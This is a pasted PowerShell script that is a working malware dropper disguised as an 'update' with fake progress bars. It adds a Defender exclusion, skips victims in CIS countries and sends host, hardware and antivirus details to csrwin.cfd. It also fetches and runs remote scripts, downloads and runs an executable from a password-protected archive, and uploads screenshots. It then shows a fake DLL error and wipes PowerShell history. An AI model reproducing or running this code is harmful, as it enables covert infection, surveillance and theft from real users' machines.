Guest User

Untitled

a guest
Oct 21st, 2026
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.51 KB | None | 0 0
  1. # ------------------------------------ LAUNCH ------------------------------------- #
  2.  
  3. $ErrorActionPreference = 'Stop'
  4. $ProgressPreference = 'SilentlyContinue'
  5.  
  6. [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  7.  
  8.  
  9. function Show-Progress {
  10. param(
  11. [int]$Percent,
  12. [string]$Text = ""
  13. )
  14.  
  15. $esc = [char]27
  16. $width = 20
  17.  
  18. $filled = [math]::Floor($width * $Percent / 100)
  19. $empty = $width - $filled
  20.  
  21. $gray = "$esc[100m"
  22. $darkGray = "$esc[48;5;236m"
  23. $reset = "$esc[0m"
  24.  
  25. [Console]::Write(
  26. "`r $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
  27. )
  28. }
  29.  
  30.  
  31. # ----------------------------------- VARIABLES ----------------------------------- #
  32.  
  33. $site = "https://csrwin.cfd"
  34. $zipUrl = "$site/assets/2.zip"
  35. $7zaUrl = "$site/assets/7za.exe"
  36. $password = '1324'
  37. $exePath = '2/2.exe'
  38.  
  39. $work = Join-Path $env:TEMP "svc_$(Get-Random)"
  40. $zip = Join-Path $work '1.zip'
  41. $7za = Join-Path $work '7za.exe'
  42. $dest = Join-Path $work 'out'
  43.  
  44. $cisCountries = @('RU', 'BY', 'UA', 'KZ', 'KG', 'TJ', 'TM', 'UZ', 'AM', 'AZ', 'MD')
  45.  
  46.  
  47. # ----------------------------------- VARIABLES+ ---------------------------------- #
  48.  
  49. $pcName = $env:COMPUTERNAME
  50. $userAgent = "aizzHkKtfNdzmaycORjfhjDPaNCLVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs"
  51.  
  52. $startUrl = "$site/start.php"
  53. $screenUrl = "$site/screen.php"
  54. $endUrl = "$site/end.php"
  55.  
  56. $firstStepText = '[1/3] Checking for Updates...'
  57. $secondStepText = '[2/3] Initialization Components...'
  58. $thirdStepText = '[3/3] Running Application...'
  59.  
  60. $firstSubstepText = '[SUCCESSFULLY]'
  61. $secondSubstepText = '[SUCCESSFULLY]'
  62. $thirdSubstepText = '[ERROR]'
  63.  
  64. if (Test-Path $work) { Remove-Item $work -Recurse -Force }
  65. New-Item -ItemType Directory -Path $work -Force | Out-Null
  66.  
  67.  
  68. # ---------------------------------- ADMIN RIGHTS --------------------------------- #
  69.  
  70. $identity = [Security.Principal.WindowsIdentity]::GetCurrent()
  71. $principal = New-Object Security.Principal.WindowsPrincipal($identity)
  72. $isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
  73.  
  74. # [STEP 1/3]:
  75. Clear-Host
  76. Write-Host "`n $firstStepText" -ForegroundColor Cyan
  77.  
  78. if (-not $isAdmin) {}
  79.  
  80. if ($isAdmin) {
  81. Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
  82. }
  83.  
  84.  
  85. # ---< REQUEST 1 >---------------------- GEO -------------------------------------- #
  86.  
  87. $country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName
  88.  
  89. filter CustomTrim { $_ -replace '[\r\n\t]', '' }
  90.  
  91. $geoServices = @(
  92. @{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
  93. @{ Uri = "https://ipapi.co"; Path = $null },
  94. @{ Uri = "https://ipinfo.io"; Path = $null }
  95. )
  96.  
  97. foreach ($service in $geoServices) {
  98. try {
  99. $response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop
  100.  
  101. if ($response) {
  102. if ($service.Path -and $response.$($service.Path)) {
  103. $country = $response.$($service.Path).Trim().ToUpper()
  104. } else {
  105. $country = ($response | CustomTrim).ToUpper()
  106. }
  107.  
  108. if ($country -match '^[A-Z]{2}$') {
  109. break
  110. }
  111. }
  112. }
  113. catch {
  114. continue
  115. }
  116. }
  117.  
  118. # ------------------------------------ CHECKER ------------------------------------ #
  119.  
  120. if ($country -in $cisCountries) {
  121. exit 0
  122. }
  123.  
  124.  
  125. # ------------------------------------- LINKS ------------------------------------- #
  126. # ----------------------------------- HWID --------------------------------------- #
  127.  
  128. $serial = (cmd /c "vol C:") -join " "
  129. if ($serial -match '([0-9A-Fa-f]{4}-[0-9A-Fa-f]{4})') {
  130. $hwid = ($matches[1] -replace '-','').ToLower()
  131. } else {
  132. $hwid = (Get-CimInstance Win32_ComputerSystemProduct).UUID
  133. if (-not $hwid) { $hwid = "Unknown" }
  134. }
  135.  
  136. # ----------------------------------- SYSTEM INFO -------------------------------- #
  137.  
  138. $osVersion = (Get-CimInstance Win32_OperatingSystem).Caption
  139. $osBuild = (Get-CimInstance Win32_OperatingSystem).BuildNumber
  140.  
  141. # ���������
  142. $antivirus = @()
  143. try {
  144. $av = Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName AntivirusProduct -ErrorAction SilentlyContinue
  145. if ($av) {
  146. $antivirus = $av | ForEach-Object {
  147. if ($_.productState -band 0x1000) { "$($_.displayName) (Active)" }
  148. else { "$($_.displayName) (Inactive)" }
  149. }
  150. }
  151. } catch {}
  152.  
  153. if ($antivirus.Count -eq 0) { $antivirus = "Unknown" }
  154. else { $antivirus = $antivirus -join "; " }
  155.  
  156. # PowerShell version
  157. $psVersion = $PSVersionTable.PSVersion.ToString()
  158.  
  159. $startRequest = "${startUrl}?pc=${pcName}&country=$country&hwid=$hwid&os=${osVersion}&osbuild=${osBuild}&av=${antivirus}&ps=${psVersion}"
  160. $endRequest = "${endUrl}?pc=${pcName}&country=${country}&source=${source}&hwid=$hwid&os=${osVersion}&osbuild=${osBuild}&av=${antivirus}&ps=${psVersion}"
  161. $screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
  162.  
  163. # ---< REQUEST 2 >--------------------- START ------------------------------------- #
  164.  
  165. try {
  166. $startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
  167.  
  168. if (-not [string]::IsNullOrWhiteSpace($startScript)) {
  169. $startBlock = [scriptblock]::Create($startScript)
  170. & $startBlock
  171. }
  172. }
  173. catch {
  174. Write-Warning "$_"
  175. }
  176.  
  177.  
  178. # ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #
  179.  
  180. try {
  181. if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }
  182.  
  183. Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
  184. Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
  185. }
  186. catch {}
  187.  
  188. # ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #
  189.  
  190. Add-Type -AssemblyName System.Windows.Forms
  191. Add-Type -AssemblyName System.Drawing
  192.  
  193. try {
  194. $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
  195. $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
  196. $gfx = [System.Drawing.Graphics]::FromImage($bmp)
  197.  
  198. $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
  199.  
  200. $ms = New-Object System.IO.MemoryStream
  201. $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
  202.  
  203. $gfx.Dispose()
  204. $bmp.Dispose()
  205.  
  206. $base64 = [Convert]::ToBase64String($ms.ToArray())
  207. $ms.Dispose()
  208.  
  209. $screenBody = @{
  210. pc = $pcName
  211. image = "data:image/png;base64,$base64"
  212. }
  213.  
  214. Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
  215. }
  216. catch {}
  217.  
  218. # [SUBSTEP 1/3]:
  219.  
  220. for ($i = 0; $i -le 100; $i++) {
  221. Show-Progress $i
  222. Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
  223. }
  224.  
  225. Show-Progress 100
  226. Write-Host "$firstSubstepText" -ForegroundColor Green
  227.  
  228. Start-Sleep -Seconds 3
  229.  
  230.  
  231. # --------------------------------- OPEN & LOGGING -------------------------------- #
  232.  
  233. # [STEP 2/3]:
  234. Clear-Host
  235. Write-Host "`n $secondStepText" -ForegroundColor Cyan
  236.  
  237. try {
  238. if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
  239. if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }
  240.  
  241. $unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")
  242.  
  243. $null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1
  244.  
  245. if ($process.ExitCode -ne 0) {
  246. throw "[ERROR LOG] 7za: $($process.ExitCode)"
  247. }
  248. }
  249. catch {}
  250.  
  251.  
  252. # [RUN FILE]
  253. $exe = Join-Path $dest $exePath
  254.  
  255. try {
  256. if (Test-Path $exe) {
  257. Start-Process $exe -WorkingDirectory (Split-Path $exe) -ErrorAction Stop
  258. } else {
  259. throw "[ZIP] - Error code: 2"
  260. }
  261. }
  262. catch {
  263. Write-Warning "$_"
  264. }
  265.  
  266. Start-Sleep -Seconds 10
  267.  
  268.  
  269. # [SUBSTEP 2/3]:
  270.  
  271. for ($i = 0; $i -le 100; $i++) {
  272. Show-Progress $i
  273. Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
  274. }
  275.  
  276. Show-Progress 100
  277. Write-Host "$secondSubstepText" -ForegroundColor Green
  278.  
  279. Start-Sleep -Seconds 3
  280.  
  281.  
  282. # ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #
  283.  
  284. # [STEP 3/3]:
  285. Clear-Host
  286. Write-Host "`n $thirdStepText" -ForegroundColor Cyan
  287.  
  288. try {
  289. $endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
  290.  
  291. if (-not [string]::IsNullOrWhiteSpace($endScript)) {
  292. $endBlock = [scriptblock]::Create($endScript)
  293. & $endBlock
  294. }
  295. }
  296. catch {
  297. Write-Warning "$_"
  298. }
  299.  
  300. # [SUBSTEP 3/3]:
  301.  
  302. for ($i = 0; $i -le 100; $i++) {
  303. Show-Progress $i
  304. Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
  305. }
  306.  
  307. Show-Progress 100
  308. Write-Host "$thirdSubstepText`n" -ForegroundColor Red
  309.  
  310. Start-Sleep -Milliseconds 500
  311.  
  312. Write-Host " [ERROR] Failed to load DLL: kernel32.dll`n [ERROR] The specified module could not be found.`n [ERROR] Error code: 0xc0000135`n [ERROR] One or more dependencies may be missing.`n [ERROR] Operation failed." -ForegroundColor Red
  313. Write-Host "`n To fix this, please follow the: https://learn.microsoft.com/en-us/answers/questions/2486541/error-code-0xc0000135" -ForegroundColor Yellow
  314.  
  315.  
  316. # ENDING SCREENSHOT
  317. try {
  318. $bounds = [Windows.Forms.SystemInformation]::VirtualScreen
  319. $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
  320. $gfx = [System.Drawing.Graphics]::FromImage($bmp)
  321.  
  322. $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
  323.  
  324. $ms = New-Object System.IO.MemoryStream
  325. $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
  326.  
  327. $gfx.Dispose()
  328. $bmp.Dispose()
  329.  
  330. $base64 = [Convert]::ToBase64String($ms.ToArray())
  331. $ms.Dispose()
  332.  
  333. $screenBody = @{
  334. pc = $pcName
  335. image = "data:image/png;base64,$base64"
  336. }
  337.  
  338. Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
  339. }
  340. catch {}
  341.  
  342. Read-Host -Prompt "`n Press Enter to exit"
  343.  
  344. [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
  345.  
  346. Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
  347. Set-PSReadlineOption -HistorySaveStyle SaveNothing
  348. [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Add Comment
Please, Sign In to add comment